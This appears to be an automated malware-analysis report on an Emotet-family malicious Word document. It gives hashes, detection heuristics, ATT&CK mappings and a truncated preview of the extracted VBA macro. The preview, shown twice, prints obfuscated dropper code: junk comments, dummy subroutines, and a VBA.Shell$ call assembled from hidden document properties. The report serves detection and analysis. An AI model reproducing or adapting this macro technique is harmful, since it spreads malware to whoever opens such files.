Emotet Office (OLE) malware analysis — malicious · 56aa0e876398efcb

MALICIOUS

Office (OLE)

74.5 KB Created: 2017-09-25 11:07:00 Authoring application: Microsoft Office Word First seen: 2017-11-13

MD5: de42982a6a16c1bdf40f2baad8e72511 SHA-1: b1049b482ad0a4745fac3455e11005ec2568a421 SHA-256: 56aa0e876398efcb1ba2e8465e8bd91109e700147eff81acac5ad2514e2f011a

242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The presence of an AutoOpen macro and a Shell() call strongly indicates that the macro is designed to execute arbitrary commands, likely for downloading and running a secondary payload. ClamAV detection confirms the family as Emotet, a known downloader.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7443 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7443 bytes
SHA-256: `25605cff4d95b76288bd65eec4630ead062cd63a7217c9f2312df6a1ac390bb9`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Module1" 'XuyXwACMncTaKgRhFhKfwVSBHyKnBmmSVwxpbCLgSGRTMVzUvZwUCgCxup 'HPDaXLauPFEXbTDbxKRKyXAdPbRxcSTTFFNEDPNVhaMYzvzTaUagURXFgzDBBzWzUf 'zLVgvsPUBVvtfDWkFFTDRMeLRPExuUxutNUsMgbPaaMhrdBDUaxNpKvxLE 'pWeBrGdhYXYwUDCgwVvhdbpgEFDBvaZdnMArkmdDYALCkXpnfXnvDXSVWhHsxL 'kYKAWdFVXEsXhPSztxpWPpXMuacDHYwSaWeMZmfpTPZkLwDnrAHacDrUAgpsMh 'PwmAPySbsZYHxXrksuBDMfcYvBVhNPVwHnfSGZDgnrSCthyFYXKADVYnzHDBxzfgTKDB 'hFBBMDyuAHWyFHrDsuKDWEuvfPEPKfveTTTZhPMfkgnKUKKAvmwBDUXmGVNtgDu 'GAVazMWechGfZRVKRkLyHdSNPbYUMReAasFHhwYrMRGmCXLBrtDpUkxAvWYy 'XspcykrYWdeSCRtuErDcwxSEGNRZfZabPLkpYuZyEvvPUaynmmgNUHtSwwXgH 'sXHctWSMTEpLFHAMVVcAYwnSRGrfGNRHhsTVFsvPegBNWGLvfkbgcErWVuZmpYAxP 'AWUuuvDfLxfwuBvkWvyzHYswmbBDfwByGVfnChevRVMzFzyZRumkbSGxrygBWnxkMkz 'msgXHZMWTtbErKZLdHMTxbXSwNKLwshGLrUvBFFNXEervNdYTZCHwrbt 'gYXNELfUEcRBapMXFDazmbkSBzZuxSrEkHUGSYTWhaxuagSWAFWAeTbAwHBanR 'WsVGfShFGxkNbrsNVaDsWBXkPtpnMrEKRfXYfMHnVSSdMKcvxRXfbnutLPTYdkd 'YUSeKnVcSdVzyXNbCubTegFHYEbhrWwnGfmkLLLWnSCmTLRSCNAcwSxUNPXdD Sub awE(MbxOzcjf2) On Error Resume Next If JjyT Xor YUT Then For dQiO485 = 8611 To PkY uvTvT93 = (mMAr9Pj67 - Sgn(26) + (18 - CLng(297233393) + 36 * Log(WnVGsAl1) * 48 / CDbl(46 * CByte(IRqn9Vu) + aGZJ42p0 - ChrB(9 + Oct(4) - eCnNdo / Atn(ckRF27))) / (5319 * nDmMp89))) Next ElseIf uXyJ89r7E <= GAaP Then End If End Sub Sub rQWF(XwafZF22) On Error Resume Next lFCJ0 = 57934924 / 3 - iDQtc6x35 + mNN * (9 - CStr(AmAFs7) + FoaY * Chr(cWfw08)) + (509967112 / CLng(ibgT77)) End Sub Sub eALg9(jFrUe505) On Error Resume Next Set otm = 895 Set UqZo = uPWv52k End Sub Sub OCwb31() On Error Resume Next End Sub Sub YeHw60z() On Error Resume Next BxivR = EaAZ789 * FzZve8Y3 Set JBhbx = nCWA964S End Sub Sub iFsr985u() On Error Resume Next If pJZZYe0E > rxic6wb Then Set sIh = dfXLq ElseIf mvERG9 Eqv ZKsreBj Then Set kotpo7oO = 927 End If End Sub Sub vQg() On Error Resume Next gnqRo0v = 422423051 / egnn5545 qkWeFX = 246 Set BRC = tHLng End Sub Function ffPGKHeKPS() 'EdPVuhcYKsuLfURkbTKbXASAVtEbsGVuwzPnkNtNhwLasNZpaTNxhngWVS 'dapdDpbuuWWHXNdtKWepesDTAauTUpXWcNZPXPZNtNGyuvLvFKCLbMxzhwUNSUKpW 'fTczGLyEsPnmbvABVdDVwTmUtsYwdewTPsZXDRdthCYLmaFAAKxTukWcUptDXFLL 'rGCXaLUayEvYByYzfpYBAdNdsezaysBAKUBavCCntcvtZxsYGstAmHnYykN 'MgkmhwGhxZERFVDBgSdPdHdmCYTLctBfVguyswZLpZHdUEvvmySAaeXUyeAy 'RXPRLnSLZPmBEUaPXtngZEaHwsEBccKkULsMfzhbyrHLyWwhyMzehFVLwrLBbA 'paCgsWkFkMFbNRUvMUUNBFAEUGPYbnXTCwMAgSSAUeNmcmDanZHYKedyLNgC 'gXWuYpvAptBzdfaEUEreHzZgEUedfBVRvnLGyWFuaxdWXVkHXZWGTpTkx 'xnFATWragHMGLvyAKxbySDhLSZbSbLNwsdMvEYbyGupNMZsTTddbDDUbshWawe 'wGwywBxyvLdUdSGnyxHkSupdHUFANEgbeEdxZESvXyHSszwYrTUxFaBsCfWbeALeWaK 'ugLvAXAcaVuLUnnXccLdtwSLNWUYSTzVbKpxegtfwcYSzrwVXPBWhnWXAYbVymKV 'bNAutVxedHaVNHcKyxtrPXYuZzrPmXgHYYWLshErxpsgeEaHfhLwatvNRYvGzKXWuFepW 'CKVMvVZXTmDUwprCSyVUXMfMkyuLPHyACAEFkHubHbdaAczaLvywxZFAhuUdkAehBNXAh 'zGpHWykdEDwzLNapWexxNvkPNfegGXyCgXfTNfGLRgHkNrtzgrtvEHXWPHUe 'rmuhpmdPKWGMUvetTLbdXTDKxBcPdwwckmUPdybAFxUpddZDwhZzZKpyEfh 'LdPFpCHUryETPaSPMTebvuAceMPzFXPkuhBKdsHPugHXCuhEUUrbHMSNsbF 'wscNhfuLDKzVCdZpHAAcfZudEwTBWUnEeAYVfnDksZABTSPHpdTLpNbwdhrxp 'NLETwBfbfCgVzmaKrmWrPdBBaSaNUHudWWNmBdphmBmdyFwVbbKWpNcyzXBLBw 'UANEHRMbteMakMTEdrzcFfXaavdyrPrvwnUHNAgMPHStrUWvnFxwpprgKRMueTApL 'PzmnDDfpnEWkFRdPMfSEUYHBtdYPWGwYcnYkfxGPPFFsvWrBMbtfkshPeVzMAke 'txghATcZCwXVBrcDZkRwsbLbNSxuCvcxAMaXNENzceGPhzDvSDDSAWWkUZKCYEXsCTea VBA.Shell$ "" + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + ActiveDocument.CustomDocumentProperties("zdvYUaeedkR") + ActiveDocument.CustomDocumentProperti ... (truncated)

SHA-256: 25605cff4d95b76288bd65eec4630ead062cd63a7217c9f2312df6a1ac390bb9

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'XuyXwACMncTaKgRhFhKfwVSBHyKnBmmSVwxpbCLgSGRTMVzUvZwUCgCxup
 'HPDaXLauPFEXbTDbxKRKyXAdPbRxcSTTFFNEDPNVhaMYzvzTaUagURXFgzDBBzWzUf
 'zLVgvsPUBVvtfDWkFFTDRMeLRPExuUxutNUsMgbPaaMhrdBDUaxNpKvxLE
 'pWeBrGdhYXYwUDCgwVvhdbpgEFDBvaZdnMArkmdDYALCkXpnfXnvDXSVWhHsxL
 'kYKAWdFVXEsXhPSztxpWPpXMuacDHYwSaWeMZmfpTPZkLwDnrAHacDrUAgpsMh
 'PwmAPySbsZYHxXrksuBDMfcYvBVhNPVwHnfSGZDgnrSCthyFYXKADVYnzHDBxzfgTKDB
 'hFBBMDyuAHWyFHrDsuKDWEuvfPEPKfveTTTZhPMfkgnKUKKAvmwBDUXmGVNtgDu
 'GAVazMWechGfZRVKRkLyHdSNPbYUMReAasFHhwYrMRGmCXLBrtDpUkxAvWYy
 'XspcykrYWdeSCRtuErDcwxSEGNRZfZabPLkpYuZyEvvPUaynmmgNUHtSwwXgH
 'sXHctWSMTEpLFHAMVVcAYwnSRGrfGNRHhsTVFsvPegBNWGLvfkbgcErWVuZmpYAxP
 'AWUuuvDfLxfwuBvkWvyzHYswmbBDfwByGVfnChevRVMzFzyZRumkbSGxrygBWnxkMkz
 'msgXHZMWTtbErKZLdHMTxbXSwNKLwshGLrUvBFFNXEervNdYTZCHwrbt
 'gYXNELfUEcRBapMXFDazmbkSBzZuxSrEkHUGSYTWhaxuagSWAFWAeTbAwHBanR
 'WsVGfShFGxkNbrsNVaDsWBXkPtpnMrEKRfXYfMHnVSSdMKcvxRXfbnutLPTYdkd
 'YUSeKnVcSdVzyXNbCubTegFHYEbhrWwnGfmkLLLWnSCmTLRSCNAcwSxUNPXdD

Sub awE(MbxOzcjf2)
   On Error Resume Next
   If JjyT Xor YUT Then
      For dQiO485 = 8611 To PkY
         uvTvT93 = (mMAr9Pj67 - Sgn(26) + (18 - CLng(297233393) + 36 * Log(WnVGsAl1) * 48 / CDbl(46 * CByte(IRqn9Vu) + aGZJ42p0 - ChrB(9 + Oct(4) - eCnNdo / Atn(ckRF27))) / (5319 * nDmMp89)))
      Next
      ElseIf uXyJ89r7E <= GAaP Then
   End If
End Sub
 Sub rQWF(XwafZF22)
   On Error Resume Next
   lFCJ0 = 57934924 / 3 - iDQtc6x35 + mNN * (9 - CStr(AmAFs7) + FoaY * Chr(cWfw08)) + (509967112 / CLng(ibgT77))
End Sub
 Sub eALg9(jFrUe505)
   On Error Resume Next
   Set otm = 895
   Set UqZo = uPWv52k
End Sub
 Sub OCwb31()
   On Error Resume Next
End Sub
 Sub YeHw60z()
   On Error Resume Next
   BxivR = EaAZ789 * FzZve8Y3
   Set JBhbx = nCWA964S
End Sub
 Sub iFsr985u()
   On Error Resume Next
   If pJZZYe0E > rxic6wb Then
      Set sIh = dfXLq
      ElseIf mvERG9 Eqv ZKsreBj Then
      Set kotpo7oO = 927
   End If
End Sub
 Sub vQg()
   On Error Resume Next
   gnqRo0v = 422423051 / egnn5545
   qkWeFX = 246
   Set BRC = tHLng
End Sub

Function ffPGKHeKPS()
'EdPVuhcYKsuLfURkbTKbXASAVtEbsGVuwzPnkNtNhwLasNZpaTNxhngWVS
 'dapdDpbuuWWHXNdtKWepesDTAauTUpXWcNZPXPZNtNGyuvLvFKCLbMxzhwUNSUKpW
 'fTczGLyEsPnmbvABVdDVwTmUtsYwdewTPsZXDRdthCYLmaFAAKxTukWcUptDXFLL
 'rGCXaLUayEvYByYzfpYBAdNdsezaysBAKUBavCCntcvtZxsYGstAmHnYykN
 'MgkmhwGhxZERFVDBgSdPdHdmCYTLctBfVguyswZLpZHdUEvvmySAaeXUyeAy
 'RXPRLnSLZPmBEUaPXtngZEaHwsEBccKkULsMfzhbyrHLyWwhyMzehFVLwrLBbA
 'paCgsWkFkMFbNRUvMUUNBFAEUGPYbnXTCwMAgSSAUeNmcmDanZHYKedyLNgC
 'gXWuYpvAptBzdfaEUEreHzZgEUedfBVRvnLGyWFuaxdWXVkHXZWGTpTkx
 'xnFATWragHMGLvyAKxbySDhLSZbSbLNwsdMvEYbyGupNMZsTTddbDDUbshWawe
 'wGwywBxyvLdUdSGnyxHkSupdHUFANEgbeEdxZESvXyHSszwYrTUxFaBsCfWbeALeWaK
 'ugLvAXAcaVuLUnnXccLdtwSLNWUYSTzVbKpxegtfwcYSzrwVXPBWhnWXAYbVymKV
 'bNAutVxedHaVNHcKyxtrPXYuZzrPmXgHYYWLshErxpsgeEaHfhLwatvNRYvGzKXWuFepW
 'CKVMvVZXTmDUwprCSyVUXMfMkyuLPHyACAEFkHubHbdaAczaLvywxZFAhuUdkAehBNXAh
 'zGpHWykdEDwzLNapWexxNvkPNfegGXyCgXfTNfGLRgHkNrtzgrtvEHXWPHUe
 'rmuhpmdPKWGMUvetTLbdXTDKxBcPdwwckmUPdybAFxUpddZDwhZzZKpyEfh
 'LdPFpCHUryETPaSPMTebvuAceMPzFXPkuhBKdsHPugHXCuhEUUrbHMSNsbF
 'wscNhfuLDKzVCdZpHAAcfZudEwTBWUnEeAYVfnDksZABTSPHpdTLpNbwdhrxp
 'NLETwBfbfCgVzmaKrmWrPdBBaSaNUHudWWNmBdphmBmdyFwVbbKWpNcyzXBLBw
 'UANEHRMbteMakMTEdrzcFfXaavdyrPrvwnUHNAgMPHStrUWvnFxwpprgKRMueTApL
 'PzmnDDfpnEWkFRdPMfSEUYHBtdYPWGwYcnYkfxGPPFFsvWrBMbtfkshPeVzMAke
 'txghATcZCwXVBrcDZkRwsbLbNSxuCvcxAMaXNENzceGPhzDvSDDSAWWkUZKCYEXsCTea
VBA.Shell$ "" + abbuhmNSfRs + VNAesXg + yDbpWaDxs + aAruCSzuUVs + TZpESNvaMg + FcMppSBB + kuKgfEuN + SFTPcMZZaPL + sLgrsKMmWt + XvwhEZEr + axzhMLXvD + UWwALThNhH + fHPXgnrSr + PAvasVyw + ActiveDocument.CustomDocumentProperties("zdvYUaeedkR") + ActiveDocument.CustomDocumentProperti
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.